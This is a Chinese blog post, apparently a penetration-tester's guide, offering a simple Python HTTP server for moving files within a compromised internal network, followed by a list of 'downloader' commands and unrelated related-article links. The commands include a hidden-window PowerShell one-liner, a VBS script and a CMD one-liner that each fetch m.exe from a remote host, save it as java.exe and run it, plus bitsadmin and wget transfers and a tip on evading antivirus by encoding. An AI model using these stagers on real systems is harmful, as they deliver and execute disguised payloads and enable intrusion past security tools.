[源码]Python简易http服务器(内网渗透大文件传输含下载命令)
Python简易http服务器源码
import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
print("use: web.exe port")
else:
PORT = int(sys.argv[1])
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "SimpleHTTPServer is ", PORT
print "by k8gege"
httpd.serve_forever()
用法:
python web.py 端口
web.exe 端口
访问: http://IP:端口
内网渗透
机器A:可上网
机器B:不联网
0x001 机器A文件传到机器B
使用方法,自行打包成可执行文件传到机器部署Web
然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B
0x002 机器B文件传到机器A
当然也可以反过来,将此程序上传到不可上网机器部部署web
再通过机器A下载机器B文件
0x003 速度
WGET内网下载速度高达70M/S
下载命令
下载者(隐藏窗口)
powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:\windows\temp\java.exe');Start-Process c:\windows\temp\java.exe"
系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错) bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:\WINDOWS\Temp\wget.exe
VBS下载者
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.25.128:13272/m.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
afile = "java.exe"
aGet.SaveToFile afile,2
Shell.Run (afile)
如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行
如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)

CMD命令-VBS下载者
del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs
以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)
我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件
Wget下载(Linux自带,win需传过去)
wget -P /tmp http://39.109.6.128/cmd.txt
终极方法(cmd直接输出文件)
工具k8exe2bat: https://www.cnblogs.com/k8gege/p/10585903.html
将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。
因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好
PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)
当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了
下载: https://github.com/k8gege/K8tools/blob/master/web.py
下载:https://github.com/k8gege/K8tools/blob/master/web.exe无Python环境可直接下载exe
[源码]Python简易http服务器(内网渗透大文件传输含下载命令)的更多相关文章
- Cobalt strike与内网渗透
cobalt strike的用法参照我之前的博客: https://www.cnblogs.com/vege/p/12743274.html 这里只演示上线之后的操作. Socks代理 开启socks ...
- [源码解析] 机器学习参数服务器ps-lite (1) ----- PostOffice
[源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 目录 [源码解析] 机器学习参数服务器ps-lite 之(1) ----- PostOffice 0x00 ...
- [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构
[源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 目录 [源码解析] 机器学习参数服务器 Paracel (1)-----总体架构 0x00 摘要 0x01使用 1.1 配置 ...
- [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van
[源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 目录 [源码解析] 机器学习参数服务器ps-lite(2) ----- 通信模块Van 0x00 摘要 0x01 功能 ...
- [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer
[源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 目录 [源码解析] 机器学习参数服务器ps-lite 之(3) ----- 代理人Customer 0x0 ...
- [源码解析] 机器学习参数服务器 Paracel (2)--------SSP控制协议实现
[源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 目录 [源码解析] 机器学习参数服务器 Paracel (2)-----SSP实现 0x00 摘要 0x01 背景知识 1 ...
- [源码解析] 机器学习参数服务器Paracel (3)------数据处理
[源码解析] 机器学习参数服务器Paracel (3)------数据处理 目录 [源码解析] 机器学习参数服务器Paracel (3)------数据处理 0x00 摘要 0x01 切分需要 1.1 ...
- MyBatis源码分析(5)——内置DataSource实现
@(MyBatis)[DataSource] MyBatis源码分析(5)--内置DataSource实现 MyBatis内置了两个DataSource的实现:UnpooledDataSource,该 ...
- php+redis实现多台服务器内网存储session并读取
大型网站由于大并发的问题会导致系统出现诡异的崩溃性问题这着实让人很是蛋疼,首先考虑的就是负载均衡服务器来处理这个,当然数据库的性能也是非常非常重要的,今天就说下在负载均衡情况下对于session这个问 ...
随机推荐
- 六、pyqt5对话框——QInputDialog、QColorDialog、QFontDialog、QMessageBox、QFileDialog
目录: 一.对话框综合示例 二.QDialog 三.QInputDialog 四.QMessageDialog 五.QFileDialog pyqt5的对话框有多种类型,比如输入对话框(QInput ...
- ZOJ 2507 Let's play a game
题目链接:http://acm.zju.edu.cn/onlinejudge/showProblem.do?problemId=1507 MisereNim博弈.代码如下: //=========== ...
- 返回上一页 html A标记代码
<a class="sjad" href="#" onClick="javascript:history.back(-1);"> ...
- ASCII, Unicode, UTF-8, 8进制, 16进制等各种编码学习理解笔记
字符编码的发展历史 Unicode和UTF-8有何区别? 在这个问题下的于洋的最高票回答中,比较完整地介绍了字符编码的发展历史,为了便于记忆,再次简要概括一番. 一个字节:最初一个字节的标准是混乱的, ...
- pandas库的学习笔记
Environment pandas 0.21.0 python 3.6 jupyter notebook 开始 习惯上,我们导入如下: import pandas as pd import nump ...
- java基本类型的默认值
基本类型 默认值 取值范围 (最大/最小) 字节数 二进制位数 byte 0 127(2^7-1) -128(-2^7) 1byte 8bit short 0 32767(2^15 - 1) -327 ...
- Maven捆绑TestNG实现测试自动化执行、部署和调度
一. 需求介绍 自动化测试,尤其是接口测试时,要写大量的测试用例,这些测试用例我们当然首选使用TesteNG编写,用例数量大,还涉及各种依赖包之类的问题,因此用Maven管理也是最方便最易实现的. 面 ...
- linux时区和时间设置
1,修改时区 调整时区使用tzselect [root@lyn ~]# hwclock Tue Nov :: PM AST -0.198205 seconds [root@lyn ~]# tzsele ...
- 利用openxml在Excel中插入图表
using System.Collections.Generic; using System.Linq; using DOD = DocumentFormat.OpenXml.Drawing; usi ...
- Linux-3.0.8 input subsystem代码阅读笔记
先乱序记录一下阅读Linux input subsystem代码的笔记. 在input device driver的入口代码部分,需要分配并初始化input device结构,内核提供的API是inp ...